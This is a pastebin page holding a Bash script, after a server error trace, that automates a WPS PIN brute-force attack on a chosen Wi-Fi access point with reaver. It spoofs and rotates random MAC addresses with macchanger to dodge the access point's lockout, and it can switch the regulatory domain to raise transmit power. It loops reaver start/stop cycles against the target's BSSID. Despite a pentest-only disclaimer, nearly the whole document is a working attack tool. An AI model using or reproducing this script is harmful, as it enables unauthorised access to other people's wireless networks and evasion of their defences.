A PHP Error was encountered

Severity: 8192

Message: Function create_function() is deprecated

Filename: geshi/geshi.php

Line Number: 4698

Backtrace:

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4698
Function: _error_handler

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4621
Function: _optimize_regexp_list_tokens_to_string

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 1655
Function: optimize_regexp_list

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2029
Function: optimize_keyword_group

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2168
Function: build_parse_cache

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/Process.php
Line: 45
Function: parse_code

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/models/Pastes.php
Line: 517
Function: syntax

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 693
Function: getPaste

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once

test - Stikked
From test, 9 Years ago, written in Bash.
Embed
  1.     #!/bin/bash
  2.     # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public
  3.     # License as published by the Free Software Foundation; either version 2 of the License, or any later version.
  4.     # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
  5.     # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
  6.     # You should have received a copy of the GNU General Public License along with this program; if not, write to the
  7.     # Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  8.     # --------------------------------------------------------------------------------------------------------------------#
  9.      
  10.     # Disclaimer:   This script is intended for use only for private study or during an authorised pentest. The author bears no responsibility for malicious or illegal use.
  11.     #               Skiddies should look elsewhere.
  12.      
  13.      
  14.     #
  15.     # !!!!!!!Thanks to Vulpi author of pwnstar9.0 who's scripts taught us so much!!!!!!!
  16.     ##############################################
  17.     # ANSI code routines from Vulpi author of
  18.     #              PwnStar9.0
  19.     txtrst="\e[0m"      # Text reset
  20.     warn="\e[1;31m"     # warning                  red        
  21.     info="\e[1;34m"     # info                 blue            
  22.     q="\e[1;32m"                # questions        green
  23.     inp="\e[1;36m"          # input variables  magenta
  24.     yel="\e[1;33m"      # typed keyboard entries
  25.     ##############################################
  26.      
  27.     echo -e "$info                                                                        "      
  28.     echo -e "$warn  <<< ALL EXISTING MONITOR INTERFACES $yel(i.e. mon0 mon1 etc.)$warn WILL BE CLEARED >>>"
  29.     echo -e "$q               <<<< ??Do you wish to continue....?? >>>>$txtrst"
  30.      
  31.     while true
  32.      
  33.     do
  34.     echo -e "$inp       Please confirm by pressing $yel(y/Y)$inp to continue...."
  35.     echo -e "         Press $yel(n/N)$inp to abort!!..Press any other key to try again:$txtrst"
  36.      
  37.       read CONFIRM
  38.       case $CONFIRM in
  39.         y|Y|YES|yes|Yes) break ;;
  40.         n|N|no|NO|No)
  41.           echo Aborting - you entered $CONFIRM
  42.           exit
  43.           ;;
  44.      
  45.       esac
  46.     done
  47.     echo -e "$info  You entered $CONFIRM.  Continuing ...$txtrst"
  48.     sleep 3
  49.      
  50.     clear
  51.      
  52.     airmon-ng stop mon5
  53.     clear
  54.     airmon-ng stop mon4
  55.     clear
  56.     airmon-ng stop mon3
  57.     clear
  58.     airmon-ng stop mon2
  59.     clear
  60.     airmon-ng stop mon1
  61.     clear
  62.     airmon-ng stop mon0
  63.      
  64.      
  65.     DEVTEST=ZZZ
  66.     until  [ $DEVTEST == y ] || [ $DEVTEST == Y ]; do  
  67.     echo -e "$txtrst "
  68.     clear
  69.     iwconfig
  70.     echo ""
  71.     echo -e "$q  What wireless device will you use to perform the attack$yel(i.e. wlan0,ath0 etc)$q?"
  72.     echo -e "$info    A listing of devices is shown above.$txtrst" #(DEV)
  73.     read DEV
  74.         while true
  75.         do
  76.         echo ""
  77.      
  78.     echo -e "$inp  You entered $yel$DEV$info type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again$txtrst"
  79.     read DEVTEST
  80.      
  81.         case $DEVTEST in
  82.         y|Y|n|N) break ;;
  83.         ~|~~)
  84.         echo Aborting -
  85.         exit
  86.         ;;
  87.      
  88.         esac
  89.         echo -e  "$warn  !!!Wrong input try again!!!$txtrst"
  90.      
  91.         done
  92.      
  93.                 done
  94.      
  95.     #####################################
  96.      
  97.     clear
  98.         while true
  99.         do
  100.         echo ""
  101.     echo -e "$q  Do you wish to boost your wifi device power to 30dBm?"
  102.     echo -e "$info     This routine works for the AWUSO36H and" #(AWUSO)
  103.     echo -e "$info       may work with other devices."
  104.     echo -e "$inp         Type $yel(y/Y)$inp for yes or $yel(n/N)$inp for no.$txtrst"
  105.                 read AWUSO
  106.                 case $AWUSO in
  107.                 y|Y|n|N) break ;;
  108.                 ~|~~)
  109.                 echo Aborting -
  110.                 exit
  111.                 ;;
  112.      
  113.                 esac
  114.                 echo -e  "$warn !!!Wrong input try again!!!$txtrst"
  115.      
  116.                         done
  117.      
  118.      
  119.         if [ $AWUSO == y ] || [ $AWUSO == Y ]; then
  120.                 ifconfig $DEV down
  121.                 sleep 1
  122.                 iw reg set BO
  123.                 ifconfig $DEV up
  124.                 iwconfig $DEV channel 13
  125.                 iwconfig $DEV txpower 30
  126.                 iwconfig $DEV rate 1M
  127.                 sleep 2
  128.      
  129.                         fi
  130.      
  131.     echo -e "$info  Assigning a random mac address to device.$txtrst"
  132.             sleep 2
  133.      
  134.     ifconfig $DEV down
  135.     sleep 2
  136.     macchanger -r $DEV
  137.     sleep 2
  138.     VARMAC=$(ifconfig $DEV | grep "$DEV     Link encap:Ethernet  HWaddr " | sed s/"$DEV     Link encap:Ethernet  HWaddr "//g)
  139.     sleep 2
  140.     ifconfig $DEV hw ether $VARMAC
  141.     sleep 2
  142.     ifconfig $DEV up
  143.     airmon-ng start $DEV
  144.         sleep 2
  145.             clear
  146.      
  147.      
  148.      
  149.     MONTEST=ZZZ
  150.     until  [ $MONTEST == y ] || [ $MONTEST == Y ]; do  
  151.     echo -e "$txtrst "
  152.     clear
  153.     iwconfig
  154.     echo ""
  155.     echo -e "$q  What wireless monitor interface $yel(i.e. mon0, mon1)$q will"
  156.     echo -e "     be used by reaver?"
  157.     echo -e "$info      A listing of devices is shown above.$txtrst" #(MON)
  158.     read MON
  159.      
  160.         while true
  161.         do
  162.         echo ""
  163.      
  164.     echo -e "$inp  You entered $yel$MON$info type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again.$txtrst"
  165.     read MONTEST
  166.      
  167.         case $MONTEST in
  168.         y|Y|n|N) break ;;
  169.         ~|~~)
  170.         echo Aborting -
  171.         exit
  172.         ;;
  173.      
  174.         esac
  175.         echo -e  "$warn  !!!Wrong input try again!!!$txtrst"
  176.      
  177.         done
  178.      
  179.                 done
  180.      
  181.     #############################################################
  182.     sleep .2
  183.     echo -e "$info  Assigning $yel$DEV$info mac address to $yel$MON$info.$txtrst"
  184.     ifconfig $MON down
  185.     sleep 1
  186.     macchanger -m $VARMAC $MON
  187.     sleep .1
  188.     ifconfig $MON up
  189.     sleep 1
  190.     clear
  191.     echo ""
  192.     echo ""      
  193.     echo -e "$info  <<<< You will need the following information to setup the DOS attack. >>>>"
  194.     echo ""
  195.     echo -e "$txtrst       1. Channel of target AP."
  196.     echo "       2. Mac address of target AP."
  197.     echo ""
  198.      
  199.     ####################################
  200.      
  201.      
  202.         clear
  203.         while true
  204.         do
  205.             echo ""
  206.         echo -e "$info  Do you wish to run wash or airodump-ng to obtain this information?" #(WASHAIR)
  207.         echo -e "$inp     Type $yel(w/W)$inp for wash, $yel(a/A)$inp for airodump-ng or"
  208.         echo -e "       type $yel(c/C)$inp to skip a scan for a target AP and continue....$txtrst"
  209.      
  210.                 read WASHAIR
  211.                 case $WASHAIR in
  212.                         w|W|a|A|c|C) break ;;
  213.                         ~|~~)
  214.                         echo Aborting -
  215.                         exit
  216.                         ;;
  217.      
  218.                 esac
  219.                 echo -e  "$warn !!!Wrong input try again!!!$txtrst"
  220.      
  221.                         done
  222.      
  223.      
  224.     if [ $WASHAIR == w ] || [ $WASHAIR == W ]; then
  225.      
  226.         until [ $WASHAIR == c ] || [ $WASHAIR == C ]; do
  227.         killall -q Eterm &> /dev/null
  228.             sleep .2
  229.         Eterm -g 80x30-1-210 --cmod "red" -T "WASH" -e sh -c "wash -i $MON; bash" &
  230.         echo -e "$info  To capture a mac address from the Eterm Window type $yel "any key" $info and the"
  231.             echo "     Eterm window will halt. Use your mouse-left click and drag across the"
  232.             echo -e "       data required. Type $yel(Ctrl-c)$info to capture to clipboard. Now go"
  233.             echo -e "         to the Atrophy main menu and type $yel(shift-insert)$info to insert mac address.$txtrst" #(ANYKEY)
  234.         read ANYKEY
  235.         killall -q wash &> /dev/null
  236.      
  237.                 clear
  238.                 while true
  239.                 do
  240.         echo ""
  241.             echo -e "$info  If you have the mac address and channel type $yel(c/C)$inp to"
  242.         echo -e "     continue.... or type $yel(w/W)$inp for wash to try again.$txtrst"
  243.      
  244.         read WASHAIR
  245.         case $WASHAIR in
  246.                 c|C|w|W) break ;;
  247.                 ~|~~)
  248.                 exit
  249.                 ;;
  250.      
  251.         esac
  252.         echo -e "$warn !!!error wrong input try again!!!$txtrst"
  253.      
  254.                         done
  255.      
  256.                 done
  257.      
  258.         fi     
  259.      
  260.     if [ $WASHAIR == a ] || [ $WASHAIR == A ]; then
  261.                 until [ $WASHAIR == c ] || [ $WASHAIR == C ]; do
  262.      
  263.         while true
  264.         do
  265.             echo -e "$q  Do you wish airodump-ng to scan all channels or scan a fixed channel?"
  266.         echo -e "$inp     Type $yel(1)$inp to scan all channels or $yel(2)$inp to scan a specific channel.$txtrst" #(CHANCHO)
  267.      
  268.         read CHANCHO
  269.         case $CHANCHO in
  270.         1|2) break ;;
  271.                 ~|~~)
  272.                 echo Aborting -
  273.                 exit
  274.                 ;;
  275.      
  276.         esac
  277.         echo -e  "$warn !!!Wrong input try again!!!$txtrst"
  278.      
  279.                 done
  280.      
  281.                         if [ $CHANCHO == 1 ]; then
  282.      
  283.         killall -q Eterm &> /dev/null
  284.         clear
  285.             sleep .2
  286.         Eterm -g 80x30-1-210 --cmod "red" -T "AIRODUMP-NG" -e sh -c "airodump-ng $MON; bash" &
  287.         echo -e "$info  To capture a mac address from the Eterm Window type $yel(any key)$info and the"
  288.             echo "     Eterm window will halt. Use your mouse-left click and drag across the"
  289.             echo -e "       data required. Type $yel(Ctrl-c)$info to capture to clipboard. Now go"
  290.             echo -e "         to the Atrophy main menu and type $yel(shift-insert)$info to insert mac address.$txtrst" #(ANYKEY)
  291.         read ANYKEY
  292.         killall -q airodump-ng &> /dev/null
  293.      
  294.      
  295.      
  296.         clear
  297.         while true
  298.         do
  299.         echo ""
  300.      
  301.         echo -e "$info  If you have the mac address and channel type $yel(c/C)$inp to"
  302.         echo -e "     continue... or type $yel(a/A)$inp for airodump-ng to try again.$txtrst"
  303.      
  304.         read WASHAIR
  305.         case $WASHAIR in
  306.         c|C|a|A) break ;;
  307.         ~|~~)
  308.         echo Aborting -
  309.         exit
  310.         ;;
  311.      
  312.         esac
  313.         echo -e  "$warn !!!Wrong input try again!!!$txtrst"
  314.      
  315.                 done
  316.      
  317.      
  318.      
  319.                                 fi
  320.      
  321.      
  322.                         if [ $CHANCHO == 2 ]; then
  323.         killall -q Eterm &> /dev/null
  324.         echo -e "$warn  If Eterm window was removed - ignore warning above.$txtrst"
  325.         sleep .2
  326.      
  327.     ##########
  328.         clear
  329.         while true
  330.         do
  331.         echo ""
  332.         echo -e "$q  What is your target APs' channel?$txtrst" #(CHANNEL)
  333.      
  334.         read CHANNEL
  335.         case $CHANNEL in
  336.                 1|2|3|4|5|6|7|8|9|10|11|12|13|14) break ;;
  337.                 ~|~~)
  338.                 echo Aborting -
  339.                 exit
  340.                 ;;
  341.      
  342.         esac
  343.         echo -e  "$warn !!!Wrong input try again!!!$txtrst"
  344.      
  345.                 done
  346.      
  347.      
  348.         Eterm -g 80x30-1-210 --cmod "red" -T "AIRODUMP-NG" -e sh -c "airodump-ng -c $CHANNEL $MON; bash" &
  349.         echo -e "$info  To capture a mac address from the Eterm Window type $yel(any key) $info and the"
  350.             echo "     Eterm window will halt. Use your mouse-left click and drag across the"
  351.             echo -e "       data required. Type $yel(Ctrl-c)$info to capture to clipboard. Now go"
  352.             echo -e "         to the Atrophy main menu and type $yel(shift-insert)$info to insert mac address.$txtrst" #(ANYKEY)
  353.         read ANYKEY
  354.         killall -q airodump-ng &> /dev/null
  355.      
  356.         clear
  357.         while true
  358.         do
  359.         echo ""
  360.             echo -e "$info  If you have the mac address and channel type $yel(c/C)$inp to"
  361.         echo -e "     continue... or type $yel(a/A)$inp for airodump-ng to try again.$txtrst"
  362.      
  363.         read WASHAIR
  364.         case $WASHAIR in
  365.                 c|C|a|A) break ;;
  366.                 ~|~~)
  367.                 echo Aborting -
  368.                 exit
  369.                 ;;
  370.      
  371.         esac
  372.         echo -e  "$warn !!!Wrong input try again!!!$txtrst"
  373.      
  374.                                         done
  375.      
  376.                                 fi
  377.        
  378.                 done           
  379.         fi
  380.      
  381.        
  382.     #################################
  383.      
  384.     sleep .2
  385.     killall -q wash &> /dev/null
  386.     sleep .2
  387.     killall -q airodump-ng &> /dev/null
  388.     sleep 2
  389.     clear
  390.     echo ""
  391.     echo -e "$q\n  What is your target APs' mac address?" #(TARGETAP)
  392.     echo -e  "$info\n     Enter in this format ONLY(i.e. 00:11:22:33:44:55)$txtrst"
  393.     read TARGETAP
  394.     sleep 2
  395.     #### MAC Error Handling Begins ###
  396.     ##################################
  397.     # Error Handling For Mac Code Entries
  398.     # Tests Length of string
  399.     # Tests  Presence of only ::::: punctuation characters
  400.     # Tests only hex charcters present
  401.      
  402.     #Sets correct puntuation for test
  403.     MACPUNCT=":::::"
  404.      
  405.     sleep .2
  406.      
  407.     # Tests punctuation
  408.      
  409.     PUNCTEST=`echo "$TARGETAP" | tr -d -c ".[:punct:]"`
  410.      
  411.     sleep .2
  412.      
  413.     if [ "$PUNCTEST" == "$MACPUNCT" ]
  414.      
  415.         then
  416.      
  417.             PUNCT=1
  418.      
  419.         else
  420.      
  421.             PUNCT=0
  422.      
  423.         fi
  424.      
  425.     sleep .2
  426.      
  427.     # Tests hex characters
  428.      
  429.     MACALNUM=`echo "$TARGETAP" | tr -d -c ".[:alnum:]"`
  430.      
  431.     sleep .2
  432.      
  433.      
  434.     if [[ $MACALNUM =~ [A-Fa-f0-9]{12} ]]
  435.      
  436.     then
  437.      
  438.         ALNUM=1
  439.     else
  440.      
  441.         ALNUM=0
  442.       fi
  443.      
  444.     sleep .2
  445.      
  446.     # Tests string length
  447.      
  448.     if [ ${#TARGETAP} = 17 ]
  449.      
  450.     then
  451.      
  452.         MACLEN=1
  453.     else
  454.      
  455.         MACLEN=0
  456.       fi
  457.      
  458.      
  459.     sleep .2
  460.      
  461.     # All mac variables set to ones(1)  and zeros(0)
  462.      
  463.     until [ $MACLEN == 1 ] && [ $PUNCT == 1 ] && [ $ALNUM == 1 ]; do
  464.      
  465.         if [ $ALNUM == 0 ]; then
  466.                 echo -e "$warn  You are using a non-hex character.$txtrst"
  467.      
  468.                         fi
  469.        
  470.         if [ $MACLEN == 0 ]; then
  471.                 echo -e "$warn  Your mac address is the wrong length.$txtrst"
  472.      
  473.                         fi
  474.      
  475.         if [ $PUNCT == 0 ]; then
  476.      
  477.                 echo -e "$warn  You have entered the wrong and/or too many separators - use ONLY colons :$txtrst"
  478.      
  479.                         fi
  480.      
  481.         echo -e "$info  Mac address entry incorrect!!!"
  482.             echo "  You must use format 00:11:22:33:44:55 or aa:AA:bb:BB:cc:CC"
  483.         echo "  Only a thru f, A thru F, 0 thru 9 and the symbol :  are allowed."
  484.         echo -e "$inp  Reenter mac address and try again.$txtrst" #(TARGETAP)
  485.         read TARGETAP
  486.      
  487.             MACALNUM=`echo "$TARGETAP" | tr -d -c ".[:alnum:]"`
  488.         if [[ $MACALNUM =~ [A-Fa-f0-9]{12} ]]
  489.      
  490.             then
  491.      
  492.                 ALNUM=1
  493.      
  494.             else
  495.      
  496.                 ALNUM=0
  497.      
  498.                         fi
  499.      
  500.     sleep .2      
  501.      
  502.         if [ ${#TARGETAP} == 17 ]
  503.      
  504.         then
  505.      
  506.                 MACLEN=1
  507.         else
  508.      
  509.                 MACLEN=0
  510.      
  511.                         fi
  512.      
  513.     sleep .2
  514.      
  515.         PUNCTEST=`echo "$TARGETAP" | tr -d -c ".[:punct:]"`
  516.         if [ $PUNCTEST == $MACPUNCT ]
  517.      
  518.         then
  519.      
  520.             PUNCT=1
  521.      
  522.         else
  523.      
  524.             PUNCT=0
  525.      
  526.                         fi
  527.      
  528.     sleep 1
  529.      
  530.     done
  531.      
  532.     #######Mac Error Handling Ends Whew!!#############
  533.     ##################################################
  534.      
  535.     clear
  536.     while true
  537.     do
  538.     echo ""
  539.     echo -e "$q  What is your target APs' channel?$txtrst" #(CHANNEL)
  540.      
  541.         read CHANNEL
  542.         case $CHANNEL in
  543.                 1|2|3|4|5|6|7|8|9|10|11|12|13|14) break ;;
  544.                 ~|~~)
  545.                 echo Aborting -
  546.                 exit
  547.                 ;;
  548.      
  549.         esac
  550.         echo -e  "$warn !!!Wrong input try again!!!$txtrst"
  551.      
  552.                 done
  553.      
  554.      
  555.      
  556.      
  557.      
  558.      
  559.      
  560.      
  561.      
  562.     #########################old varmacreaver starts
  563.     killall -q Eterm &> /dev/null
  564.     clear
  565.         while true
  566.         do
  567.         echo ""
  568.      
  569.     echo -e "$q  Do you wish to write a log of Reaver output to file?"
  570.     echo -e "     $info This log is necessary as Reaver is started, stopped then restarted."
  571.     echo "       If log file of output not written, a key if found may be lost."
  572.     echo -e "$warn         !!Reaver output if written to file, will not be displayed on screen!!"
  573.     echo -e "$inp        Type $yel(y/Y)$inp for yes and $yel(n/N)$inp for no. (WRITEFILE)$txtrst"
  574.      
  575.         read WRITEFILE
  576.         case $WRITEFILE in
  577.         y|Y|n|N) break ;;
  578.         ~|~~)
  579.         echo Aborting -
  580.         exit
  581.         ;;
  582.      
  583.         esac
  584.         echo -e  "$warn  !!!Wrong input try again!!!$txtrst"
  585.      
  586.         done
  587.      
  588.      
  589.     if [ $WRITEFILE == Y ]; then
  590.      
  591.         WRITEFILE=y
  592.      
  593.         fi
  594.      
  595.     if [ $WRITEFILE == N ]; then
  596.      
  597.         WRITEFILE=n
  598.      
  599.         fi
  600.      
  601.     if [ $WRITEFILE == y ]; then
  602.      
  603.     FILETEST=ZZZ
  604.     until  [ $FILETEST == y ] || [ $FILETEST == Y ]; do  
  605.     clear
  606.     echo ""
  607.      
  608.         echo -e "$q  What name will you give for the log file, enter file name?(LOGFILE)$txtrst"       
  609.         read LOGFILE
  610.      
  611.         while true
  612.         do
  613.         echo ""
  614.      
  615.     echo -e "$inp  You entered $yel$LOGFILE$info type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again$txtrst"
  616.      
  617.         read FILETEST
  618.         case $FILETEST in
  619.         y|Y|n|N) break ;;
  620.         ~|~~)
  621.         echo Aborting -
  622.         exit
  623.         ;;
  624.      
  625.         esac
  626.         echo -e  "$warn  !!!Wrong input try again!!!$txtrst"
  627.      
  628.         done
  629.      
  630.                 done
  631.      
  632.      
  633.         sleep 2
  634.                        
  635.         fi
  636.     ############################
  637.     LIVETEST=ZZZ
  638.     until  [ $LIVETEST == y ] || [ $LIVETEST == Y ]; do  
  639.     clear
  640.     echo ""
  641.      
  642.     echo -e "$q  How long will Reaver run in sec before shutdown and restart?(LIVE)$txtrst"
  643.         read LIVE
  644.      
  645.         while true
  646.         do
  647.         echo ""
  648.      
  649.     echo -e "$inp  You entered $yel$LIVE$inp type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again.$txtrst"
  650.         read LIVETEST
  651.         case $LIVETEST in
  652.         y|Y|n|N) break ;;
  653.         ~|~~)
  654.         echo Aborting -
  655.         exit
  656.         ;;
  657.      
  658.         esac
  659.         echo -e  "$warn  !!!Wrong input try again!!!$txtrst"
  660.      
  661.         done
  662.      
  663.                 done
  664.      
  665.      
  666.         clear
  667.         while true
  668.         do
  669.         echo ""
  670.     echo -e "$info  The next choices deal with the  -r, --recurring-delay=<x:y> command"
  671.     echo "     i.e. Sleep for y seconds every x pin attempts"
  672.     echo "       You can choose to run Reaver without the -r command. In this case"
  673.     echo "          if you chose to run Reaver for 120 sec, it will stay LIVE for"
  674.     echo "            120 sec then shutdown change mac code and restart"
  675.     echo ""
  676.     echo "  If you choose to use the -r, then the program"
  677.     echo "     will send pin attempts and rest as per -r frequency. But at"
  678.     echo "        120 sec the program will shutdown, change mac code and restart."
  679.      
  680.     echo -e "$q  Do you want to use a -r --recurring-delay=<x:y> command?"
  681.     echo -e "$inp    Type $yel(y/Y)$inp for yes and $yel(n/N)$inp for no:(RCHOICE).$txtrst"
  682.         read RCHOICE  
  683.         case $RCHOICE in
  684.         y|Y|n|N) break ;;
  685.         ~|~~)
  686.         echo Aborting -
  687.         exit
  688.         ;;
  689.      
  690.         esac
  691.         echo -e  "$warn !!!Wrong input try again!!!$txtrst"
  692.      
  693.                 done
  694.      
  695.      
  696.     if [ $RCHOICE == Y ]; then
  697.      
  698.         RCHOICE=y
  699.      
  700.         fi
  701.      
  702.     if [ $RCHOICE == N ]; then
  703.      
  704.         RCHOICE=n
  705.      
  706.         fi
  707.      
  708.     if [ $RCHOICE == y ]; then
  709.      
  710.     RXTEST=ZZZ
  711.     until  [ $RXTEST == y ] || [ $RXTEST == Y ]; do  
  712.      
  713.     echo ""
  714.     echo -e "$q  How many pin attempts x in -r x:y before delay y in seconds?(RX)"
  715.     echo ""
  716.     echo -e "$inp     Enter number of pin attempts x.$txtrst" #(RX)
  717.     read RX
  718.      
  719.         while true
  720.         do
  721.         echo ""
  722.      
  723.     echo -e "$inp  You entered $yel$RX$info type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again.$tstrst"
  724.     read RXTEST
  725.      
  726.         case $RXTEST in
  727.         y|Y|n|N) break ;;
  728.         ~|~~)
  729.         echo Aborting -
  730.         exit
  731.         ;;
  732.      
  733.         esac
  734.         echo -e  "$warn  !!!Wrong input try again!!!$txtrst"
  735.      
  736.         done
  737.      
  738.                 done
  739.      
  740.      
  741.     RYTEST=ZZZ
  742.     until  [ $RYTEST == y ] || [ $RYTEST == Y ]; do  
  743.      
  744.     clear
  745.     echo ""
  746.     echo -e "$q  How many seconds will Reaver sleep between pin attempts x, in -r $RX:y?"
  747.     echo ""
  748.     echo -e "$inp     Enter delay in seconds y.(RY)$txtrst"
  749.     read RY
  750.      
  751.     while true
  752.         do
  753.         echo ""
  754.         echo -e "$inp  You entered $yel$RY$inp type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again.$txtrst"
  755.         read RYTEST
  756.      
  757.         case $RYTEST in
  758.         y|Y|n|N) break ;;
  759.         ~|~~)
  760.         echo Aborting -
  761.         exit
  762.         ;;
  763.      
  764.         esac
  765.         echo -e  "$warn  !!!Wrong input try again!!!$txtrst"
  766.      
  767.         done
  768.      
  769.                 done
  770.      
  771.                         fi
  772.      
  773.      
  774.     COUNTTEST=ZZZ
  775.     until  [ $COUNTTEST == y ] || [ $COUNTTEST == Y ]; do  
  776.      
  777.     clear
  778.     echo ""
  779.      
  780.     echo -e "$q  How many times do you want the program to start,stop then restart? (COUNT)"
  781.     echo ""
  782.     echo -e "$warn     !!!!Enter a number less then 100,000!!!!$txtrst"
  783.     read COUNT
  784.     while  [ $COUNT -gt 99999 ]; do
  785.             echo -e "$warn  !!!Please enter a number less than 100,000!!!"
  786.         echo -e "$q     How many times do you want the program to start,stop and restart?(COUNT)$txtrst"
  787.                 read COUNT
  788.      
  789.         done
  790.      
  791.     while true
  792.         do
  793.         echo ""
  794.         echo -e "$inp  You entered $yel$COUNT$inp type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again.$txtrst"
  795.         read COUNTTEST
  796.      
  797.         case $COUNTTEST in
  798.         y|Y|n|N) break ;;
  799.         ~|~~)
  800.         echo Aborting -
  801.         exit
  802.         ;;
  803.      
  804.         esac
  805.         echo -e  "$warn  !!!Wrong input try again!!!$txtrst"
  806.      
  807.         done
  808.      
  809.                 done
  810.      
  811.      
  812.     FN=1
  813.      
  814.     let COUNTSTART=COUNT
  815.      
  816.     while  [ $COUNT -gt 0 ]; do
  817.      
  818.     if [ $COUNTSTART -lt 1000 ] && [ $WRITEFILE == y ]; then
  819.      
  820.         PAD=`printf "%03d\n" $FN`
  821.         if [ $FN -gt 1 ]; then
  822.         let PF=FN-1
  823.         CF=`printf "%03d\n" $PF`
  824.                 fi     
  825.         fi
  826.      
  827.     if [ $COUNTSTART -gt 999 ] && [ $COUNTSTART -lt 10000 ] && [ $WRITEFILE == y ]; then
  828.      
  829.         PAD=`printf "%04d\n" $FN`
  830.         if [ $FN -gt 1 ]; then
  831.         let PF=FN-1
  832.         CF=`printf "%04d\n" $PF`
  833.                 fi
  834.      
  835.         fi
  836.      
  837.     if [ $COUNTSTART -gt 9999 ] && [ $COUNTSTART -lt 100000 ] && [ $WRITEFILE == y ]; then
  838.      
  839.         PAD=`printf "%05d\n" $FN`
  840.         if [ $FN -gt 1 ]; then
  841.         let PF=FN-1
  842.         CF=`printf "%05d\n" $PF`
  843.                 fi
  844.      
  845.         fi
  846.      
  847.      
  848.     ifconfig $DEV down
  849.     #
  850.     sleep 2
  851.     #
  852.     macchanger -r $DEV
  853.     #
  854.     sleep 2
  855.     #
  856.     VARMAC=$(ifconfig $DEV | grep "$DEV     Link encap:Ethernet  HWaddr " | sed s/"$DEV     Link encap:Ethernet  HWaddr "//g)
  857.     #
  858.     sleep 2
  859.     #
  860.     ifconfig $DEV hw ether $VARMAC
  861.     #
  862.     sleep 2
  863.     #
  864.     ifconfig $DEV up
  865.     #
  866.     ifconfig $MON down
  867.     macchanger -m $VARMAC $MON
  868.     ifconfig $MON up
  869.      
  870.     sleep 2
  871.      
  872.     clear
  873.      
  874.     echo -e "$info             Starting Reaver"
  875.     echo -e "  Monitor                            = $yel$MON$info"
  876.     echo -e "  Channel                            = $yel$CHANNEL$info"
  877.     echo -e "  Mac code of Target AP              = $yel$TARGETAP$info"
  878.     echo -e "  Random Mac code                    = $yel$VARMAC$info"
  879.     echo -e "  Recurring-delay pin attempts x     = $yel$RX$info"
  880.     echo -e "  Recurring-delay sleep in sec y     = $yel$RY$info"
  881.     echo -e "  Reaver live time                   = $yel$LIVE sec$info"
  882.     echo -e "  Reaver start/stop cycles remaining = $yel$COUNT$info"
  883.      
  884.     if [ $WRITEFILE == y ]; then
  885.      
  886.     echo "  File name being written to root    = $LOGFILE-$PAD"
  887.     echo -e "$warn  Reaver data is sent to file NOT Screen"
  888.     echo -e "$info  For latest completed file see /root/$LOGFILE-$CF"
  889.      
  890.             fi
  891.      
  892.     if [ $WRITEFILE == n ]; then
  893.      
  894.     echo -e "$warn  Reaver data is sent to screen not file!"
  895.     echo -e "$warn  Key if found might be lost"
  896.     echo -e "$info  If key completion above$yel 90%$info,"  
  897.     echo -e "$info  suggest writing to file.
  898.    "
  899.         fi
  900.      
  901.     echo -e "  Screen will change every $yel$LIVE$info seconds.$txtrst"
  902.     echo ""  
  903.     sleep 3
  904.      
  905.     #
  906.      
  907.     if [ $RCHOICE == n ] && [ $WRITEFILE == y ]; then
  908.      
  909.     reaver -i $MON -a -f -c $CHANNEL -b $TARGETAP -vv -x 60 -d 15 -T .5 --out-file=$LOGFILE-$PAD --mac=$VARMAC & sleep $LIVE;
  910.      
  911.         fi
  912.      
  913.     if [ $RCHOICE == y ] && [ $WRITEFILE == y ]; then
  914.      
  915.     reaver -i $MON -a -f -c $CHANNEL -b $TARGETAP -vv -x 60 -d 15 -T .5 -r $RX:$RY --out-file=$LOGFILE-$PAD --mac=$VARMAC & sleep $LIVE;
  916.      
  917.         fi
  918.      
  919.     if [ $RCHOICE == n ] && [ $WRITEFILE == n ]; then
  920.      
  921.     reaver -i $MON -a -f -c $CHANNEL -b $TARGETAP -vv -x 60 -d 15 -T .5 --mac=$VARMAC & sleep $LIVE;
  922.      
  923.         fi
  924.      
  925.     if [ $RCHOICE == y ] && [ $WRITEFILE == n ]; then
  926.      
  927.     reaver -i $MON -a -f -c $CHANNEL -b $TARGETAP -vv -x 60 -d 15 -T .5 -r $RX:$RY --mac=$VARMAC & sleep $LIVE;
  928.      
  929.         fi
  930.      
  931.     #
  932.     PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
  933.     #
  934.     PIDREV1=${PIDREV##*D }
  935.     #
  936.     kill -s SIGINT $PIDREV1
  937.     #
  938.     let COUNT=COUNT-1
  939.     let FN=FN+1
  940.     #
  941.     sleep 1
  942.      
  943.     done
  944.      
  945.     echo "loops completed"
  946.     sleep 10
  947.     ################################################################################
  948.     # Variable listing
  949.     # $DEV= wifi reciever to be used by reaver ie wlan0, wlan1, eth1 etc
  950.     #    must support packet injection    
  951.     # $DEVTYPE support exists to boost an rtl8187 alfa reciever to txpower=30mBm.
  952.     #
  953.     # $MON= when wifi reviever placed in moniter mode confirm designation
  954.     # $TARGETAP = AP to attack with reaver
  955.     # $CHANNEL = channel of $TARGETAP
  956.     # $RX = Recurring-delay pin attempts x
  957.     # $RY = Recurring-delay sleep in sec y
